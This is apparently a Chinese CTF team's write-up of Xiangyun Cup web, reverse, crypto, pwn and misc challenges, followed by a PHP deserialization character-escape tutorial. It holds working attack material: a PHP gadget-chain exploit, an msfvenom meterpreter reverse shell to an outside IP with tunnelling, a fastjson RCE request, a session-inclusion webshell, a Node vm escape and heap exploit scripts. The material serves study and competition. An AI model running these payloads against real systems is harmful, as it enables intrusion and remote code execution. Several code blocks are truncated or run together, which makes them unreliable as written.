祥云杯题解
bad_cat战队WRITEUP
一、 战队信息
战队名称:bad_cat
战队排名:6
二、 解题情况
三、 解题过程
web
1、**ezyii**
网上搜yii的1day
https://xz.aliyun.com/t/9948#toc-6 思路类似于第四条链子
exp:
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo base64_encode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){system('cat /flag.txt');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
然后post就行
flag{19fefeeb-989a-4017-8001-7af62b9e511b}
2、**层层穿透**
直接传jar可以反弹shell进内网入口
参考 https://blog.csdn.net/cainiao17441898/article/details/118877408
msfvenom -p java/meterpreter/reverse_tcp LHOST=82.157.25.143 LPORT=11112 -f jar > rce111.jar
use exploit/multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set lhost 82.157.25.143
set lport 11112
run -j
先监听后上传,就不会报500的错误了
此时再去submit
sessions
sessions id 执行拿到shell再 bash -i 2>&1 ,上传一个ew内网穿透(https://github.com/idlefire/ew),chmod下
msf的upload shell执行
./ew -s rssocks -d 82.157.25.143 -e 18888
扫描c段,看10.10.1.11:8080
post登陆
抓个包拿session
Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112
源码解压看pom.xml依赖
漏洞点在fastjson,
先post admin/123456登陆 /doLogin
再参考https://github.com/safe6Sec/Fastjson 构造rce的post
注意要大于2w
POST /admin/test HTTP/1.1
Host: 10.10.1.11:8080
Content-Type: application/json
cmd: cat /flag
Content-Length: 31124
Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400
"a":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
}
flag{966fc4a2-e291-4136-84be-5bfd19b949e2}
3、**安全检测**
读http://127.0.0.1读到源码
可以读到/etc/passwd
http://127.0.0.1/admin/include123.php?u=/etc/passwd
读到session
http://127.0.0.1/admin/include123.php?u=/tmp/session_ef81f6c1aca58c2b24f9d63bf77dba07
http://127.0.0.1/admin/include123.php?u=/etc/passwd#<?php eval(base64_decode('c3lzdGVtKCcvZ2V0ZmxhZy5zaCcpOw=='));?>输入就可以写到session里面了
用#注释掉后面的一句话木马,不被访问,要的是这个路由,记录路由后,再换个浏览器的phpsession访问一下即可
ls发现了/getflag.sh 因为过滤了flag,base一下才行
flag{c2c15ff3-0341-49f0-9997-36b107b9cf3a}
4、**crawler_z**
第一次我注册的yenan/yenan,填写profile后观察url出现token1
第二次admin/admin,直接ssrf伪造/user/verify?token=token1
可以指定爬取
vps启动一个http
Python -m SimpleHTTPServer 11111
然后去访问 http://82.157.39.20:11111/escape.html#oss-cn-beijing.ichunqiu.com
读到了,后面构造js的vm逃逸,document.write直接在html里面写,省去外带了
<script>
document.write(this.constructor.constructor.constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString());
</script>
flag{f0425be6-3e46-472a-8879-e19525839caf}
5、Secrets_Of_Admin
源码拿到
admin@e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645
登陆
js的数组绕过,这样检测就没有某个元素绕不过正则了,写checksum为crhyyds,提交post时候url编码下
content[]=%3Cscript%3Elocation.href%3D%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin&filename%3D..%2Ffiles%2Fflag&checksum%3Dcrhyyds%22%3B%3C%2Fscript%3E
得到flag为:flag{65453076-effe-48dc-98d5-d0d235f766f8}
reverse
1、**Rev_APC**
生成dll代码
知道了 sha3-256,但是后面并没用上。
核心逻辑:在dll的0x1800015C0函数中,与sys有两种方式通信。
dll的0x1800015C0函数中调用了NtRequestWaitReplyPort,这个sys中有NtReplyWaitReceivePort函数负责接收。sys真正处理数据的函数0x14000298C,算法比较好看懂。
dll中调用DeviceIOControl,对应sys中的函数为0x140003660。
后面就是看算法了。
exp:
from zio import *
def fun6(a, b):
for i in range(32):
c = a[i]
if (c >= 33) & (c <= 79):
a[i] = (c - 80) & 0xff
b[i] = (b[i]+a[i])&0xff
elif (c >= 81) & (c <= 127):
a[i] = c - 48
b[i] ^= (a[i] >> 4)
elif (c > 128):
a[i] = c - 48
b[i] = (b[i]-a[i])&0xff
return a, b
def defun6(a, b):
for i in range(32):
c = a[i]
if (c >= 33) & (c <= 79):
a[i] = (c - 80) & 0xff
b[i] = (b[i]-a[i])&0xff
elif (c >= 81) & (c <= 127):
a[i] = c - 48
b[i] ^= (a[i] >> 4)
elif (c > 128):
a[i] = c - 48
b[i] = (b[i]+a[i])&0xff
return a, b
def fun5(a, b):
for i in range(32):
b[i] ^= a[i]
return a, b
def fun4(a, b):
for i in range(32):
a[i] = (a[i] - 80) & 0xff
for i in range(16):
b[2 * i] ^= (16 * a[2 * i]) & 0xff
b[2 * i + 1] ^= ((a[2 * i]) >> 4) & 0xf
return a, b
def fun3(a, b):
for i in range(32):
b[i] ^= a[i]
return a, b
def fun2(a, b):
for i in range(32):
a[i] = (a[i] - 80) & 0xff
b[i] ^= ((a[i]>>4)&0xf) | ((a[i]<<4)&0xf0)
return a, b
def fun1(a, b):
for i in range(32):
a[i] = (a[i]+16)&0xff
b[i] ^= a[i]
return a, b
def enc():
b = [ord(c) for c in 'flag{12345678901234567890123456}']
#b = [91, 36, 164, 45, 64, 21, 144, 29, 194, 5, 189, 39, 240, 29, 80, 137, 178, 73, 216, 105, 177, 245, 80, 59, 99, 154, 94, 170, 79, 175, 153, 126]
'''
a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0e1774e3b7389e5'.decode('hex')
a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC]
a4 = []
for i in range(32):
a4.append(ord(a3[i])^a2[i%len(a2)])
'''
a = []
a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0]
for i in range(32):
c = 0
for j in range(i+1):
c ^= a2[j]
a.append(c)
orders = [0, 5, 5, 2, 2, 3, 4, 4, 3, 2, 0, 3, 0, 3, 2, 1, 5, 1, 3, 1, 5, 5, 2, 4, 0, 0, 4, 5, 4, 4, 5, 5][::-1]
print '----------'
for i in range(32):
print a,','
if orders[i] == 0:
fun1(a, b)
elif orders[i] == 1:
fun2(a, b)
elif orders[i] == 2:
fun3(a, b)
elif orders[i] == 3:
fun4(a, b)
elif orders[i] == 4:
fun5(a, b)
elif orders[i] == 5:
fun6(a, b)
print '----------'
print (b)
def get_aas2(orders):
b = [ord(c) for c in 'flag{12345678901234567890123456}']
a = []
a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0e1774e3b7389e5'.decode('hex')
a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC]
a4 = []
for i in range(32):
a4.append(ord(a3[i])^a2[i%len(a2)])
for i in range(32):
c = 0
for j in range(i+1):
c ^= a4[j]
a.append(c)
aas = []
for i in range(32):
aas.append(a[:])
if orders[i] == 0:
fun1(a, b)
elif orders[i] == 1:
fun2(a, b)
elif orders[i] == 2:
fun3(a, b)
elif orders[i] == 3:
fun4(a, b)
elif orders[i] == 4:
fun5(a, b)
elif orders[i] == 5:
fun6(a, b)
return aas
def get_aas(orders):
b = [ord(c) for c in 'flag{12345678901234567890123456}']
a = []
a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0]
for i in range(32):
c = 0
for j in range(i+1):
c ^= a2[j]
a.append(c)
aas = []
for i in range(32):
aas.append(a[:])
if orders[i] == 0:
fun1(a, b)
elif orders[i] == 1:
fun2(a, b)
elif orders[i] == 2:
fun3(a, b)
elif orders[i] == 3:
fun4(a, b)
elif orders[i] == 4:
fun5(a, b)
elif orders[i] == 5:
fun6(a, b)
return aas
def dec(aas, orders, seed):
#b = [101, 46, 7, 63, 148, 47, 164, 57, 127, 160, 41, 36, 28, 175, 229, 120, 228, 102, 147, 78, 254, 68, 207, 240, 223, 246, 251, 73, 235, 24, 215, 30]
#b = [132, 13, 239, 89, 97, 68, 214, 77, 139, 199, 61, 244, 220, 107, 175, 6, 222, 75, 100, 91, 167, 143, 135, 74, 72, 246, 81, 54, 83, 64, 165, 216]
bs = l64(0x2F34A83A1B38C557) + l64(0xEE8F2F04E4C69739) + l64(0x486FC9246780515E) + l64(0xEBC2C2B0C7BD7F5B)
b = [ord(i) for i in bs]
re_orders = orders[::-1]
for i in range(32):
a = aas[31-i]
if re_orders[i] == 0:
fun1(a, b)
elif re_orders[i] == 1:
fun2(a, b)
elif re_orders[i] == 2:
fun3(a, b)
elif re_orders[i] == 3:
fun4(a, b)
elif re_orders[i] == 4:
fun5(a, b)
elif re_orders[i] == 5:
defun6(a, b)
#print b
s = ''.join(chr(i) for i in b)
is_printable = True
for i in range(10):
if b[i] > 0x80:
is_printable = False
break
if is_printable:
print seed, s
return is_printable
def srand(s):
global seed
seed = s
# microsoft c runtime implementation
def rand():
global seed
seed = (seed * 214013 + 2531011) % 2**64
return (seed >> 16)&0x7fff
def gen_order(seed=1):
srand(seed)
orders = []
for i in range(32):
orders.append(rand() % 6)
return orders
orders = gen_order(seed=1)
aas = get_aas(orders)
dec(aas, orders, 1)
flag{Kmode_Umode_Communication!}
2、**勒索解密**
分析的程序主要逻辑为先计算出固定秘钥+时间戳结合生成的key进行sha256,再以此作为key将生成将.bmp文件内容进行aes加密,加密iv为0
代码如下:
#coding:utf-8
import base64
from hashlib import *
from Crypto.Cipher import AES
def decrypt(data, key):
cryptos = AES.new(key, AES.MODE_ECB)
decrpytBytes = list(base64.b64decode(data))
decrpytBytes = bytes(decrpytBytes)
data = cryptos.decrypt(decrpytBytes)
return data
key = "f4b6bb19108b56fc60a61fc967c0afbe71d2d9048ac0ffe931c901e75689eb46"[:32]
key = bytes.fromhex(key)
f1 = open("flag.bmp.ctf_crypter", "rb")
f2 = open("flag.bmp", "wb")
data = f1.read()
def xor(enc, data):
res = []
for i in range(len(a)):
res += [enc[i]^data[i]]
return bytes(res)
for i in range(len(data)//16):
enc = base64.b64encode(data[16*i:16*(i+1)])
if i > 0:
ans = xor(decrypt(enc, key), data[16*(i-1):16*i])
else:
ans = decrypt(enc, key)
fp2.write(ans)
f1.close()
f2.close()
解密得到flag如下:
3、LightningSystem**
从hex生成bin文件。bin文件用ida打开,选择arm架构。分析程序发现从spi接口读取了512字节的数据。通过tips链接下载的logic2软件打开logic.sal可以看到4个波形图,其中chall 2为输入,根据波形提取出512字节数据。继续分析LightningSystem.bin代码,可以看出是个vm,写脚本得到vmcode的功能。继续分析vmcode的代码,得到算法,最后求解exp如下:
求解
def brute(v4, v5, a, b, j):
should_out = [0x12, 0x67, 0x0F, 0xDB, 0xF6, 0x0A, 0x0F, 0x39, 0xF6, 0xC9, 0xF5, 0xC1, 0xF2, 0xA3, 0x0D, 0xD0, 0xF5, 0x01, 0x0C, 0x6F, 0x0E, 0x39, 0xF2, 0x80, 0xF5, 0xE4, 0x0C, 0xD7, 0xF8, 0x68, 0x0C, 0x96, 0xF5, 0xA5, 0x0F, 0x9F, 0x0F, 0x31, 0xF9, 0x2E, 0x1B, 0x07]
v13 = a
v14 = b
v15 = 7 * (j ^ 0x4D)
v16 = (v5 + 7 * (j ^ 0x4D)) & 0xff
v18 = v13 - 0x20 + v16
v19 = (v14 - 0x20) << 7
o1 = ((v4 + ((v19 + v18) >> 8) + ((v15 + v5) >> 8)) & 0xff)
o2 = ((v18 + v19) & 0xff)
if (o1 == should_out[2*j]) & (o2 == should_out[2*j+1]):
print a, b
return True
return False
v4 = 234
v5 = 6
s = ''
for k in range(21):
find = False
for a in range(0x20, 0x80):
for b in range(0x20, 0x80):
if brute(v4, v5, a, b, k):
s += chr(a)+chr(b)
find = True
break
if find:
break
if not find:
print ('fail')
print s
得到flag如下:flag{31fd5c30-dc82-abd0-741b-9ba425f2e692}
4、**Rev_Dizzy**
看反编译的代码,完了拿比较的数据反过来进行加减异或
代码太大,就不贴了,在附属文档(命名为deal.cpp)
跑出flag如下:
crypto
1、**Guess**
先是一个sha256的爆破,一共要爆破四位,10秒内出结果,第一关就过去了,第二关和矩阵运算有关,key的矩阵给了第一列的数据【119,201,718,647】,有了这行数据和最后矩阵相乘的结果,可以通过sage函数key.solve_left()来求得中间生成的随机矩阵。
但这个函数的限制条件没调好,现在只能解出一个无用的特解。
首先求key,key是一个204的矩阵,乘以一个412的矩阵得到hint中的矩阵。也就是A*R=B,已知B求A。https://ctf.njupt.edu.cn/546.html#diamond该博客中有解法,其中的代码稍微修改修改即可
msg = open(r'C:\\Users\\wcj\\Desktop\\guess_c31fa29ffba2ff77b12dec354b8909e6\\hint', 'r').readlines()
B = []
for var in msg:
var = var[1:-2].split(' ')
for x in var:
B.append(int(x))
BB = []
for i in range(0, len(B), 20):
BB.append(B[i: i + 20])
As = []
for i in range(1000):
shuffle(BB)
for line in matrix(len(BB), 20, BB).LLL(delta=float(randint(30000, 99999)/100000)):
if line[0] < 0:
line = -line
if line not in As and all(map(lambda x: 100 <= x <= 1000, line)):
print(len(BB), line)
As.append(line)
a = [241, 232, 548, 400, 186, 333, 646, 727, 286, 877, 810, 121, 237, 745, 201, 542, 244, 396, 158, 641]
b = [119, 521, 142, 637, 614, 746, 299, 416, 638, 288, 995, 498, 639, 585, 114, 885, 558, 783, 899, 751]
c = [718, 550, 349, 939, 148, 355, 942, 685, 313, 577, 184, 130, 307, 983, 611, 903, 271, 530, 566, 427]
d = [647, 918, 613, 936, 461, 281, 977, 888, 128, 653, 309, 780, 526, 216, 944, 123, 430, 860, 113, 129]
m = matrix([b, a, c, d])
K = []
for i in range(20):
for j in range(4):
K.append(m[j][i])
print(K)
print(len(K)==80)
题目使用的加密算法是paillier,该算法有乘法同态性质,也就是D(c1c2)=m1+m2,因此有D(c^k)=km。第三步传给服务器两个明文,服务器返回一个密文。第四步可以将这个密文的平方传回给服务器,服务器返回的就是明文的二倍,这样就可以计算出使用的key,进而判断出第三步传回的是哪个密文
import socketfrom pwn import *from pwnlib.util.iters import mbruteforcefrom hashlib import sha256K = [119, 241, 718, 647, 521, 232, 550, 918, 142, 548, 349, 613, 637, 400, 939, 936, 614, 186, 148, 461, 746, 333, 355, 281, 299, 646, 942, 977, 416, 727, 685, 888, 638, 286, 313, 128, 288, 877, 577, 653
flag{e87fdfb6-8007-4e1c-861f-5bde3c8badb3}
2、**myRSA**
根据加密函数推导
def encry(message,key,p,q,e): k1,k2 = key[random.randint(0,127)],key[random.randint(0,127)] x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1) y = 2*p*q + p + q z = k1 + k2 c = pow(b2l(message),e,p*q) return x * c + y * c + zn == p*qencry == x*c+y*c+z == c*(x+y)+z == c*(p^2*(p+3*q-1)+q^2*(q+3*p-1)+2*p
当message已知时,即c已知,则:
( (p+q)^3 - (p+q)^2 + (p+q) - 4*n ) + z//c == encry//cbit_length(z) ≈ bit_length(c) (p+q)^3 - (p+q)^2 + (p+q) ≈ encry//c + 4*n p+q ≈ iroot(encry//c + 4*n,3)
得到p+q后,即可分解得到p和q,然后
encry(falg) == c*( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q)+zencry(falg)//( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q ) ≈ cc ≈ encry(falg)//( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q )pow(flag,e,p*q) == cflag = pow(c,d,p*q)
交互过程如图:
具体代码如下:
from gmpy2 import * from libnum import *import hashlib, stringimport stringstring.ascii_letters+string.digitsdef getHash(salt, result): characters = string.ascii_letters+string.digits for c1 in characters: for c2 in characters: for c3 in characters: for c4 in characters: proof = (c1 + c2 + c3 + c4)
3、**Random_RSA**
python随机数相同的随机数种子产生的随机数序列相同,先用产生的随机数序列异或解密出dp,然后
https://blog.csdn.net/weixin_45369385/article/details/109208109该博客有dp泄露的原理和代码,直接用即可(python2运行)
# -*- coding: utf-8 -*-from Crypto.Util.number import *import gmpy2import libnumimport randomimport binasciiimport osn=8119628299260611359123361520468059764520856227932785402698137691797784364485518052822703775269249855837002635324498146790005715799746276073201937218595584650797745665776012568212510
###
pwn
1、**note**
scanf那里可以进行格式化字符串的利用,首先修改站上残留的stdout指针,可以泄露地址,之后可以任意地址写:
最后利用传统的exit_hook,劫持_dl_rtld_lock_recursive为one_gadget,当调用exit函数时可得到shell
exp:
#!usr/bin/env python#-*- coding:utf8 -*-from pwn import *import syspc="./note"reomote_addr=["47.104.70.90",25315]elf = ELF(pc)libc = elf.libccontext.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1: # p=process(pc) context.log_level="debug" p=process(pc,env={"LD_PRELOAD
flag{006c45fa-81d5-45eb-8f8c-eb6833daadf5}
2、**lemon**
开头的伪随机数可绕过,使得flag输入到栈上;
程序在bss段上残留了一个栈地址:
所有菜单函数里面都没有检查负下标,所以可以修改栈空间,通过部分覆盖将环境变量的一个指针改为flag的地址,之后破坏堆结构,报错即可泄露出flag
exp:
# -*- coding:utf8 -*-from pwn import *pc = "./lemon_pwn"libc = ELF('./libc-2.26.so')context.binary = pccontext.terminal = ["gnome-terminal", '-x', 'sh', '-c']context.log_level= 'debug'remote_addr = ["47.104.70.90", 34524]ru = lambda x : p.recvuntil(x,timeout=0.2)sn = lambda x : p.send(x)rl = lambda
flag{f578948e-8b48-494d-a11e-a97b7fbf14ee}
3、**PassWordBox_FreeVersion**
fgets可以溢出一个\x00;
libc2.27下的off by null,实现chunk overlap,进而修改tcache的fd指针,分配到__free_hook处,并将其修改为system
#!usr/bin/env python#-*- coding:utf8 -*-from pwn import *import syspc="./pwdFree"reomote_addr=["47.104.71.220",38562]elf = ELF(pc)libc = elf.libccontext.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1: # p=process(pc) context.log_level="debug" p=process(pc,env={"LD_PRE
flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b}
4、PassWordBox_ProVersion
存在UAF,且只能申请largebin大小的chunk
通过2.31的large bin attack,可以修改 mp_结构体中的tcache_bins和tcache_max_bytes
之后通过计算,在伪造的tcache struct的相应size的位置上写上__free_hook,可将其申请出来改为system
exp:
#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *pc = './pwdPro'# p = process(pc)libc = ELF("./libc.so")p = remote("47.104.71.220", 49261)context.log_level = 'debug'context.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']ru = lambda x : p.recvuntil(x,timeout=0.2)sn = lambda x
flag{909cf735-b274-4098-885b-589300839b71}
5、JigSaw'sCage
存在整数溢出/宽度溢出,可以绕过检查得到一块rwx的堆地址:
test函数可以执行输入的汇编代码
利用残留的寄存器r10,r12,分两次写,把__free_hook改为system即可:
add r10, 0x50068 mov r12, r10sub r10, 0x1496b0 mov qword ptr [r12],r10
exp:
#!usr/bin/env python#-*- coding:utf8 -*-from pwn import *import syspc="./JigSAW"reomote_addr=["47.104.71.220",10273]elf = ELF(pc)libc = elf.libccontext.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1: # p=process(pc) context.log_level="debug" p=process(pc,env={"LD_PREL
flag{58591d4d-068f-47ed-9305-a65762917b06}
misc
1、**层层取证**
挂载镜像,在内存中找到密钥
bitlocker密钥 549714-116633-006446-278597-176000-708532-618101-131406
发现一个流量包
跟踪udp,打开,保存为zip格式
右边有hint和开机密码同
hashdump一下
解一下 xiaoming_handsome是压缩包密码
打开docx,还有一层密码
原始数据中搜索
2、**鸣雏恋**
解压后,得到一个docx,里面就几个字,没有隐藏。改为zip后缀试试。
解压zip,里面的key.txt是零宽
密码是 Because I like naruto best
解压缩包,转化0和1,一把梭出图片
from PIL import Imagefrom Crypto.Util.number import long_to_bytesimport base64path = "D:\\Desktop\\xiangyuncup\\misc4_\\_rels\\out\\"flag = "0b"for i in range(129488): _path=path+str(i)+".png" a=Image.open(_path) if a.size[0] == 23:flag+="0" else:flag+="1"cipher=int(flag, 2)data=long_to_bytes(cipher
3、ChieftainsSecret
binwalk可以得到一个表和一张芯片示意图:
显然是要分析芯片的功能了。
表用折线图画,可以发现是一些三角函数信号,根据信号应该可以得出什么信息
处理一下四组数据
https://www.bilibili.com/video/av58935371/ 学习了下怎么转换时间
x=cos_p-cos_n
y=sin_p-sin_n
转换成角度,算出theta(atan2(x,y)*57.3,负值加360),画图得到:
逐个比对出峰值对应号码,得到77085962457。
通过本系列的学习,能够对CTF中web有体系的了解,通过练习提升技术
实验推荐:https://www.yijinglab.com/cour.do?w=1&c=CCID2d51-5e95-4c58-8fc9-13b1659c1356
PHP反序列化字符逃逸详解
PHP反序列化字符逃逸的原理
当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
详解PHP反序列化字符逃逸
对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。
过滤后字符变多
过滤后字符变少
过滤后字符变多
假设我们先定义一个user类,然后里面一共有3个成员变量:username、password、isVIP。
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。
接下来把完整代码贴出来,便于我们分析。
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
$a = new user("admin","123456");
$a_seri = serialize($a);
echo $a_seri;
?>
这一段程序的输出结果如下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到,对象序列化之后的isVIP变量是0。
这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:
function filter($s){
return str_replace("admin","hacker",$s);
}
因此整段程序如下:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
这一段程序的输出为:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这个时候我们把这两个程序的输出拿出来对比一下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
可以看到已过滤字符串中的hacker与前面的字符长度不对应了
s:5:"admin";
s:5:"hacker";
在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量
接下来明确我们的目标:将isVIP变量的值修改为1
首先我们将我们的现有子串和目标子串进行对比:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串。
首先计算我们需要注入的目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//以上字符串的长度为47
因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。
因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完整代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hacker",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadmin
程序输出结果为:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。
后面的注入子串也正好完成了逃逸。
反序列化后,多余的子串会被抛弃
我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hacker",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadmin
程序输出如下:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacke
可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。
过滤后字符变少
上面描述了PHP反序列化字符逃逸中字符变多的情况。
以下开始解释反序列化字符逃逸变少的情况。
首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。
完整代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('admin','123456');$a_seri = serialize($a);$a_seri_filter =
得到结果:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
同样比较一下现有子串和目标子串:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。
计算一下目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串//长度为47
再计算一下到下一个可控变量的字符串长度:
";s:8:"password";s:6:"//长度为22
因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)
完整代码如下:(这里的变量里一共有22个admin)
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad
输出结果:
注意:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
